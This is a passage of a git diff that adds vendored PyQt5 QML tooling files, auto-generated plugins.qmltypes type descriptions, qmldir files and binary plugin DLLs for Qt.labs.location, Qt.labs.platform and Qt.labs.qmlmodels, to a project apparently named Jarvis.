+ name: "border" + type: "QDeclarativeMapLineProperties" + isReadonly: true + isPointer: true + } + } + Component { + name: "QMapIconObject" + defaultProperty: "quickChildren" + prototype: "QGeoMapObject" + exports: ["Qt.labs.location/MapIconObject 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "coordinate"; type: "QGeoCoordinate" } + Property { name: "content"; type: "QVariant" } + Property { name: "iconSize"; type: "QSizeF" } + Signal { + name: "contentChanged" + Parameter { name: "content"; type: "QVariant" } + } + Signal { + name: "coordinateChanged" + Parameter { name: "coordinate"; type: "QGeoCoordinate" } + } + } + Component { + name: "QMapObjectView" + defaultProperty: "quickChildren" + prototype: "QGeoMapObject" + exports: ["Qt.labs.location/MapObjectView 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "model"; type: "QVariant" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Signal { + name: "modelChanged" + Parameter { name: "model"; type: "QVariant" } + } + Signal { + name: "delegateChanged" + Parameter { name: "delegate"; type: "QQmlComponent"; isPointer: true } + } + Method { + name: "addMapObject" + Parameter { name: "object"; type: "QGeoMapObject"; isPointer: true } + } + Method { + name: "removeMapObject" + Parameter { name: "object"; type: "QGeoMapObject"; isPointer: true } + } + } + Component { + name: "QMapPolygonObject" + defaultProperty: "quickChildren" + prototype: "QGeoMapObject" + exports: ["Qt.labs.location/MapPolygonObject 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "path"; type: "QVariantList" } + Property { name: "color"; type: "QColor" } + Property { + name: "border" + type: "QDeclarativeMapLineProperties" + isReadonly: true + isPointer: true + } + } + Component { + name: "QMapPolylineObject" + defaultProperty: "quickChildren" + prototype: "QGeoMapObject" + exports: ["Qt.labs.location/MapPolylineObject 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "path"; type: "QVariantList" } + Property { + name: "line" + type: "QDeclarativeMapLineProperties" + isReadonly: true + isPointer: true + } + } + Component { + name: "QMapRouteObject" + defaultProperty: "quickChildren" + prototype: "QGeoMapObject" + exports: ["Qt.labs.location/MapRouteObject 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "route"; type: "QDeclarativeGeoRoute"; isPointer: true } + Signal { + name: "routeChanged" + Parameter { name: "route"; type: "QDeclarativeGeoRoute"; isPointer: true } + } + } + Component { + name: "QParameterizableObject" + defaultProperty: "quickChildren" + prototype: "QObject" + Property { name: "quickChildren"; type: "QObject"; isList: true; isReadonly: true } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/location/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/location/qmldir new file mode 100644 index 00000000..ddaf6ebc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/location/qmldir @@ -0,0 +1,4 @@ +module Qt.labs.location +plugin locationlabsplugin +classname QtLocationLabsDeclarativeModule +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/platform/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/platform/plugins.qmltypes new file mode 100644 index 00000000..e9312047 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/platform/plugins.qmltypes @@ -0,0 +1,492 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable Qt.labs.platform 1.1' + +Module { + dependencies: ["QtQuick 2.0"] + Component { + name: "QPlatformDialogHelper" + prototype: "QObject" + exports: ["Qt.labs.platform/StandardButton 1.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "StandardButtons" + values: { + "NoButton": 0, + "Ok": 1024, + "Save": 2048, + "SaveAll": 4096, + "Open": 8192, + "Yes": 16384, + "YesToAll": 32768, + "No": 65536, + "NoToAll": 131072, + "Abort": 262144, + "Retry": 524288, + "Ignore": 1048576, + "Close": 2097152, + "Cancel": 4194304, + "Discard": 8388608, + "Help": 16777216, + "Apply": 33554432, + "Reset": 67108864, + "RestoreDefaults": 134217728, + "FirstButton": 1024, + "LastButton": 134217728, + "LowestBit": 10, + "HighestBit": 27 + } + } + Enum { + name: "ButtonRole" + values: { + "InvalidRole": -1, + "AcceptRole": 0, + "RejectRole": 1, + "DestructiveRole": 2, + "ActionRole": 3, + "HelpRole": 4, + "YesRole": 5, + "NoRole": 6, + "ResetRole": 7, + "ApplyRole": 8, + "NRoles": 9, + "RoleMask": 268435455, + "AlternateRole": 268435456, + "Stretch": 536870912, + "Reverse": 1073741824, + "EOL": -1 + } + } + Enum { + name: "ButtonLayout" + values: { + "UnknownLayout": -1, + "WinLayout": 0, + "MacLayout": 1, + "KdeLayout": 2, + "GnomeLayout": 3, + "MacModelessLayout": 4, + "AndroidLayout": 5 + } + } + Signal { name: "accept" } + Signal { name: "reject" } + } + Component { + name: "QQuickPlatformColorDialog" + defaultProperty: "data" + prototype: "QQuickPlatformDialog" + exports: ["Qt.labs.platform/ColorDialog 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "color"; type: "QColor" } + Property { name: "currentColor"; type: "QColor" } + Property { name: "options"; type: "QColorDialogOptions::ColorDialogOptions" } + } + Component { + name: "QQuickPlatformDialog" + defaultProperty: "data" + prototype: "QObject" + exports: ["Qt.labs.platform/Dialog 1.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "StandardCode" + values: { + "Rejected": 0, + "Accepted": 1 + } + } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "parentWindow"; type: "QWindow"; isPointer: true } + Property { name: "title"; type: "string" } + Property { name: "flags"; type: "Qt::WindowFlags" } + Property { name: "modality"; type: "Qt::WindowModality" } + Property { name: "visible"; type: "bool" } + Property { name: "result"; type: "int" } + Signal { name: "accepted" } + Signal { name: "rejected" } + Method { name: "open" } + Method { name: "close" } + Method { name: "accept" } + Method { name: "reject" } + Method { + name: "done" + Parameter { name: "result"; type: "int" } + } + } + Component { + name: "QQuickPlatformFileDialog" + defaultProperty: "data" + prototype: "QQuickPlatformDialog" + exports: ["Qt.labs.platform/FileDialog 1.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "FileMode" + values: { + "OpenFile": 0, + "OpenFiles": 1, + "SaveFile": 2 + } + } + Property { name: "fileMode"; type: "FileMode" } + Property { name: "file"; type: "QUrl" } + Property { name: "files"; type: "QList" } + Property { name: "currentFile"; type: "QUrl" } + Property { name: "currentFiles"; type: "QList" } + Property { name: "folder"; type: "QUrl" } + Property { name: "options"; type: "QFileDialogOptions::FileDialogOptions" } + Property { name: "nameFilters"; type: "QStringList" } + Property { + name: "selectedNameFilter" + type: "QQuickPlatformFileNameFilter" + isReadonly: true + isPointer: true + } + Property { name: "defaultSuffix"; type: "string" } + Property { name: "acceptLabel"; type: "string" } + Property { name: "rejectLabel"; type: "string" } + } + Component { + name: "QQuickPlatformFileNameFilter" + prototype: "QObject" + Property { name: "index"; type: "int" } + Property { name: "name"; type: "string"; isReadonly: true } + Property { name: "extensions"; type: "QStringList"; isReadonly: true } + Signal { + name: "indexChanged" + Parameter { name: "index"; type: "int" } + } + Signal { + name: "nameChanged" + Parameter { name: "name"; type: "string" } + } + Signal { + name: "extensionsChanged" + Parameter { name: "extensions"; type: "QStringList" } + } + } + Component { + name: "QQuickPlatformFolderDialog" + defaultProperty: "data" + prototype: "QQuickPlatformDialog" + exports: ["Qt.labs.platform/FolderDialog 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "folder"; type: "QUrl" } + Property { name: "currentFolder"; type: "QUrl" } + Property { name: "options"; type: "QFileDialogOptions::FileDialogOptions" } + Property { name: "acceptLabel"; type: "string" } + Property { name: "rejectLabel"; type: "string" } + } + Component { + name: "QQuickPlatformFontDialog" + defaultProperty: "data" + prototype: "QQuickPlatformDialog" + exports: ["Qt.labs.platform/FontDialog 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "font"; type: "QFont" } + Property { name: "currentFont"; type: "QFont" } + Property { name: "options"; type: "QFontDialogOptions::FontDialogOptions" } + } + Component { + name: "QQuickPlatformIcon" + Property { name: "source"; type: "QUrl" } + Property { name: "name"; type: "string" } + Property { name: "mask"; type: "bool" } + } + Component { + name: "QQuickPlatformMenu" + defaultProperty: "data" + prototype: "QObject" + exports: ["Qt.labs.platform/Menu 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "items"; type: "QQuickPlatformMenuItem"; isList: true; isReadonly: true } + Property { name: "menuBar"; type: "QQuickPlatformMenuBar"; isReadonly: true; isPointer: true } + Property { name: "parentMenu"; type: "QQuickPlatformMenu"; isReadonly: true; isPointer: true } + Property { + name: "systemTrayIcon" + type: "QQuickPlatformSystemTrayIcon" + isReadonly: true + isPointer: true + } + Property { name: "menuItem"; type: "QQuickPlatformMenuItem"; isReadonly: true; isPointer: true } + Property { name: "enabled"; type: "bool" } + Property { name: "visible"; type: "bool" } + Property { name: "minimumWidth"; type: "int" } + Property { name: "type"; type: "QPlatformMenu::MenuType" } + Property { name: "title"; type: "string" } + Property { name: "iconSource"; type: "QUrl" } + Property { name: "iconName"; type: "string" } + Property { name: "font"; type: "QFont" } + Property { name: "icon"; revision: 1; type: "QQuickPlatformIcon" } + Signal { name: "aboutToShow" } + Signal { name: "aboutToHide" } + Signal { name: "iconChanged"; revision: 1 } + Method { + name: "open" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + Method { name: "close" } + Method { + name: "addItem" + Parameter { name: "item"; type: "QQuickPlatformMenuItem"; isPointer: true } + } + Method { + name: "insertItem" + Parameter { name: "index"; type: "int" } + Parameter { name: "item"; type: "QQuickPlatformMenuItem"; isPointer: true } + } + Method { + name: "removeItem" + Parameter { name: "item"; type: "QQuickPlatformMenuItem"; isPointer: true } + } + Method { + name: "addMenu" + Parameter { name: "menu"; type: "QQuickPlatformMenu"; isPointer: true } + } + Method { + name: "insertMenu" + Parameter { name: "index"; type: "int" } + Parameter { name: "menu"; type: "QQuickPlatformMenu"; isPointer: true } + } + Method { + name: "removeMenu" + Parameter { name: "menu"; type: "QQuickPlatformMenu"; isPointer: true } + } + Method { name: "clear" } + } + Component { + name: "QQuickPlatformMenuBar" + defaultProperty: "data" + prototype: "QObject" + exports: ["Qt.labs.platform/MenuBar 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "menus"; type: "QQuickPlatformMenu"; isList: true; isReadonly: true } + Property { name: "window"; type: "QWindow"; isPointer: true } + Method { + name: "addMenu" + Parameter { name: "menu"; type: "QQuickPlatformMenu"; isPointer: true } + } + Method { + name: "insertMenu" + Parameter { name: "index"; type: "int" } + Parameter { name: "menu"; type: "QQuickPlatformMenu"; isPointer: true } + } + Method { + name: "removeMenu" + Parameter { name: "menu"; type: "QQuickPlatformMenu"; isPointer: true } + } + Method { name: "clear" } + } + Component { + name: "QQuickPlatformMenuItem" + prototype: "QObject" + exports: [ + "Qt.labs.platform/MenuItem 1.0", + "Qt.labs.platform/MenuItem 1.1" + ] + exportMetaObjectRevisions: [0, 1] + Property { name: "menu"; type: "QQuickPlatformMenu"; isReadonly: true; isPointer: true } + Property { name: "subMenu"; type: "QQuickPlatformMenu"; isReadonly: true; isPointer: true } + Property { name: "group"; type: "QQuickPlatformMenuItemGroup"; isPointer: true } + Property { name: "enabled"; type: "bool" } + Property { name: "visible"; type: "bool" } + Property { name: "separator"; type: "bool" } + Property { name: "checkable"; type: "bool" } + Property { name: "checked"; type: "bool" } + Property { name: "role"; type: "QPlatformMenuItem::MenuRole" } + Property { name: "text"; type: "string" } + Property { name: "iconSource"; type: "QUrl" } + Property { name: "iconName"; type: "string" } + Property { name: "shortcut"; type: "QVariant" } + Property { name: "font"; type: "QFont" } + Property { name: "icon"; revision: 1; type: "QQuickPlatformIcon" } + Signal { name: "triggered" } + Signal { name: "hovered" } + Signal { name: "iconChanged"; revision: 1 } + Method { name: "toggle" } + } + Component { + name: "QQuickPlatformMenuItemGroup" + prototype: "QObject" + exports: ["Qt.labs.platform/MenuItemGroup 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "enabled"; type: "bool" } + Property { name: "visible"; type: "bool" } + Property { name: "exclusive"; type: "bool" } + Property { name: "checkedItem"; type: "QQuickPlatformMenuItem"; isPointer: true } + Property { name: "items"; type: "QQuickPlatformMenuItem"; isList: true; isReadonly: true } + Signal { + name: "triggered" + Parameter { name: "item"; type: "QQuickPlatformMenuItem"; isPointer: true } + } + Signal { + name: "hovered" + Parameter { name: "item"; type: "QQuickPlatformMenuItem"; isPointer: true } + } + Method { + name: "addItem" + Parameter { name: "item"; type: "QQuickPlatformMenuItem"; isPointer: true } + } + Method { + name: "removeItem" + Parameter { name: "item"; type: "QQuickPlatformMenuItem"; isPointer: true } + } + Method { name: "clear" } + } + Component { + name: "QQuickPlatformMenuSeparator" + prototype: "QQuickPlatformMenuItem" + exports: ["Qt.labs.platform/MenuSeparator 1.0"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuickPlatformMessageDialog" + defaultProperty: "data" + prototype: "QQuickPlatformDialog" + exports: ["Qt.labs.platform/MessageDialog 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "text"; type: "string" } + Property { name: "informativeText"; type: "string" } + Property { name: "detailedText"; type: "string" } + Property { name: "buttons"; type: "QPlatformDialogHelper::StandardButtons" } + Signal { + name: "clicked" + Parameter { name: "button"; type: "QPlatformDialogHelper::StandardButton" } + } + Signal { name: "okClicked" } + Signal { name: "saveClicked" } + Signal { name: "saveAllClicked" } + Signal { name: "openClicked" } + Signal { name: "yesClicked" } + Signal { name: "yesToAllClicked" } + Signal { name: "noClicked" } + Signal { name: "noToAllClicked" } + Signal { name: "abortClicked" } + Signal { name: "retryClicked" } + Signal { name: "ignoreClicked" } + Signal { name: "closeClicked" } + Signal { name: "cancelClicked" } + Signal { name: "discardClicked" } + Signal { name: "helpClicked" } + Signal { name: "applyClicked" } + Signal { name: "resetClicked" } + Signal { name: "restoreDefaultsClicked" } + } + Component { + name: "QQuickPlatformStandardPaths" + prototype: "QObject" + exports: ["Qt.labs.platform/StandardPaths 1.0"] + isCreatable: false + isSingleton: true + exportMetaObjectRevisions: [0] + Method { + name: "displayName" + type: "string" + Parameter { name: "type"; type: "QStandardPaths::StandardLocation" } + } + Method { + name: "findExecutable" + type: "QUrl" + Parameter { name: "executableName"; type: "string" } + Parameter { name: "paths"; type: "QStringList" } + } + Method { + name: "findExecutable" + type: "QUrl" + Parameter { name: "executableName"; type: "string" } + } + Method { + name: "locate" + type: "QUrl" + Parameter { name: "type"; type: "QStandardPaths::StandardLocation" } + Parameter { name: "fileName"; type: "string" } + Parameter { name: "options"; type: "QStandardPaths::LocateOptions" } + } + Method { + name: "locate" + type: "QUrl" + Parameter { name: "type"; type: "QStandardPaths::StandardLocation" } + Parameter { name: "fileName"; type: "string" } + } + Method { + name: "locateAll" + type: "QList" + Parameter { name: "type"; type: "QStandardPaths::StandardLocation" } + Parameter { name: "fileName"; type: "string" } + Parameter { name: "options"; type: "QStandardPaths::LocateOptions" } + } + Method { + name: "locateAll" + type: "QList" + Parameter { name: "type"; type: "QStandardPaths::StandardLocation" } + Parameter { name: "fileName"; type: "string" } + } + Method { + name: "setTestModeEnabled" + Parameter { name: "testMode"; type: "bool" } + } + Method { + name: "standardLocations" + type: "QList" + Parameter { name: "type"; type: "QStandardPaths::StandardLocation" } + } + Method { + name: "writableLocation" + type: "QUrl" + Parameter { name: "type"; type: "QStandardPaths::StandardLocation" } + } + } + Component { + name: "QQuickPlatformSystemTrayIcon" + prototype: "QObject" + exports: [ + "Qt.labs.platform/SystemTrayIcon 1.0", + "Qt.labs.platform/SystemTrayIcon 1.1" + ] + exportMetaObjectRevisions: [0, 1] + Property { name: "available"; type: "bool"; isReadonly: true } + Property { name: "supportsMessages"; type: "bool"; isReadonly: true } + Property { name: "visible"; type: "bool" } + Property { name: "iconSource"; type: "QUrl" } + Property { name: "iconName"; type: "string" } + Property { name: "tooltip"; type: "string" } + Property { name: "menu"; type: "QQuickPlatformMenu"; isPointer: true } + Property { name: "geometry"; revision: 1; type: "QRect"; isReadonly: true } + Property { name: "icon"; revision: 1; type: "QQuickPlatformIcon" } + Signal { + name: "activated" + Parameter { name: "reason"; type: "QPlatformSystemTrayIcon::ActivationReason" } + } + Signal { name: "messageClicked" } + Signal { name: "geometryChanged"; revision: 1 } + Signal { name: "iconChanged"; revision: 1 } + Method { name: "show" } + Method { name: "hide" } + Method { + name: "showMessage" + Parameter { name: "title"; type: "string" } + Parameter { name: "message"; type: "string" } + Parameter { name: "iconType"; type: "QPlatformSystemTrayIcon::MessageIcon" } + Parameter { name: "msecs"; type: "int" } + } + Method { + name: "showMessage" + Parameter { name: "title"; type: "string" } + Parameter { name: "message"; type: "string" } + Parameter { name: "iconType"; type: "QPlatformSystemTrayIcon::MessageIcon" } + } + Method { + name: "showMessage" + Parameter { name: "title"; type: "string" } + Parameter { name: "message"; type: "string" } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/platform/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/platform/qmldir new file mode 100644 index 00000000..9653b7d3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/platform/qmldir @@ -0,0 +1,3 @@ +module Qt.labs.platform +plugin qtlabsplatformplugin +classname QtLabsPlatformPlugin diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/platform/qtlabsplatformplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/platform/qtlabsplatformplugin.dll new file mode 100644 index 00000000..30c8494e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/platform/qtlabsplatformplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/qmlmodels/labsmodelsplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/qmlmodels/labsmodelsplugin.dll new file mode 100644 index 00000000..fb47a57e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/qmlmodels/labsmodelsplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/qmlmodels/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/qmlmodels/plugins.qmltypes new file mode 100644 index 00000000..56f2f213 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/Qt/labs/qmlmodels/plugins.qmltypes @@ -0,0 +1,410 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: [] + Component { + name: "QAbstractItemModel" + prototype: "QObject" + Enum { + name: "LayoutChangeHint" + values: [ + "NoLayoutChangeHint", + "VerticalSortHint", + "HorizontalSortHint" + ] + } + Enum { + name: "CheckIndexOption" + values: [ + "NoOption", + "IndexIsValid", + "DoNotUseParent", + "ParentIsInvalid" + ] + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + Parameter { name: "roles"; type: "QVector" } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + } + Signal { + name: "headerDataChanged" + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutChanged" } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutAboutToBeChanged" } + Signal { + name: "rowsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { name: "modelAboutToBeReset" } + Signal { name: "modelReset" } + Signal { + name: "rowsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationRow"; type: "int" } + } + Signal { + name: "rowsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "row"; type: "int" } + } + Signal { + name: "columnsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationColumn"; type: "int" } + } + Signal { + name: "columnsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "column"; type: "int" } + } + Method { name: "submit"; type: "bool" } + Method { name: "revert" } + Method { name: "resetInternalData" } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "parent" + type: "QModelIndex" + Parameter { name: "child"; type: "QModelIndex" } + } + Method { + name: "sibling" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "idx"; type: "QModelIndex" } + } + Method { + name: "rowCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "rowCount"; type: "int" } + Method { + name: "columnCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "columnCount"; type: "int" } + Method { + name: "hasChildren" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "hasChildren"; type: "bool" } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + } + Method { + name: "fetchMore" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "canFetchMore" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "flags" + type: "Qt::ItemFlags" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + Parameter { name: "flags"; type: "Qt::MatchFlags" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + } + } + Component { name: "QAbstractTableModel"; prototype: "QAbstractItemModel" } + Component { + file: "qqmldelegatecomponent_p.h" + name: "QQmlDelegateChoice" + defaultProperty: "delegate" + prototype: "QObject" + exports: ["Qt.labs.qmlmodels/DelegateChoice 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "roleValue"; type: "QVariant" } + Property { name: "row"; type: "int" } + Property { name: "index"; type: "int" } + Property { name: "column"; type: "int" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Signal { name: "changed" } + } + Component { + file: "qqmldelegatecomponent_p.h" + name: "QQmlDelegateChooser" + defaultProperty: "choices" + prototype: "QQmlAbstractDelegateComponent" + exports: ["Qt.labs.qmlmodels/DelegateChooser 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "role"; type: "string" } + Property { name: "choices"; type: "QQmlDelegateChoice"; isList: true; isReadonly: true } + } + Component { + file: "qqmltablemodel_p.h" + name: "QQmlTableModel" + defaultProperty: "columns" + prototype: "QAbstractTableModel" + exports: ["Qt.labs.qmlmodels/TableModel 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "columnCount"; type: "int"; isReadonly: true } + Property { name: "rowCount"; type: "int"; isReadonly: true } + Property { name: "rows"; type: "QVariant" } + Property { name: "columns"; type: "QQmlTableModelColumn"; isList: true; isReadonly: true } + Method { + name: "appendRow" + Parameter { name: "row"; type: "QVariant" } + } + Method { name: "clear" } + Method { + name: "getRow" + type: "QVariant" + Parameter { name: "rowIndex"; type: "int" } + } + Method { + name: "insertRow" + Parameter { name: "rowIndex"; type: "int" } + Parameter { name: "row"; type: "QVariant" } + } + Method { + name: "moveRow" + Parameter { name: "fromRowIndex"; type: "int" } + Parameter { name: "toRowIndex"; type: "int" } + Parameter { name: "rows"; type: "int" } + } + Method { + name: "moveRow" + Parameter { name: "fromRowIndex"; type: "int" } + Parameter { name: "toRowIndex"; type: "int" } + } + Method { + name: "removeRow" + Parameter { name: "rowIndex"; type: "int" } + Parameter { name: "rows"; type: "int" } + } + Method { + name: "removeRow" + Parameter { name: "rowIndex"; type: "int" } + } + Method { + name: "setRow" + Parameter { name: "rowIndex"; type: "int" } + Parameter { name: "row"; type: "QVariant" } + } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "role"; type: "string" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "role"; type: "string" } + Parameter { name: "value"; type: "QVariant" } + } + } + Component { + file: "qqmltablemodelcolumn_p.h" + name: "QQmlTableModelColumn" + prototype: "QObject" + exports: ["Qt.labs.qmlmodels/TableModelColumn 1.0"] + exportMetaObjectRevisions: [0] + Property { name: "display"; type: "QJSValue" } + Property { name: "setDisplay"; type: "QJSValue" } + Property { name: "decoration"; type: "QJSValue" } + Property { name: "setDecoration"; type: "QJSValue" } + Property { name: "edit"; type: "QJSValue" } + Property { name: "setEdit"; type: "QJSValue" } + Property { name: "toolTip"; type: "QJSValue" } + Property { name: "setToolTip"; type: "QJSValue" } + Property { name: "statusTip"; type: "QJSValue" } + Property { name: "setStatusTip"; type: "QJSValue" } + Property { name: "whatsThis"; type: "QJSValue" } + Property { name: "setWhatsThis"; type: "QJSValue" } + Property { name: "font"; type: "QJSValue" } + Property { name: "setFont"; type: "QJSValue" } + Property { name: "textAlignment"; type: "QJSValue" } + Property { name: "setTextAlignment"; type: "QJSValue" } + Property { name: "background"; type: "QJSValue" } + Property { name: "setBackground"; type: "QJSValue" } + Property { name: "foreground"; type: "QJSValue" } + Property { name: "setForeground"; type: "QJSValue" } + Property { name: "checkState"; type: "QJSValue" } + Property { name: "setCheckState"; type: "QJSValue" } + Property { name: "accessibleText"; type: "QJSValue" } + Property { name: "setAccessibleText"; type: "QJSValue" } + Property { name: "accessibleDescription"; type: "QJSValue" } + Property { name: "setAccessibleDescription"; type: "QJSValue" } + Property { name: 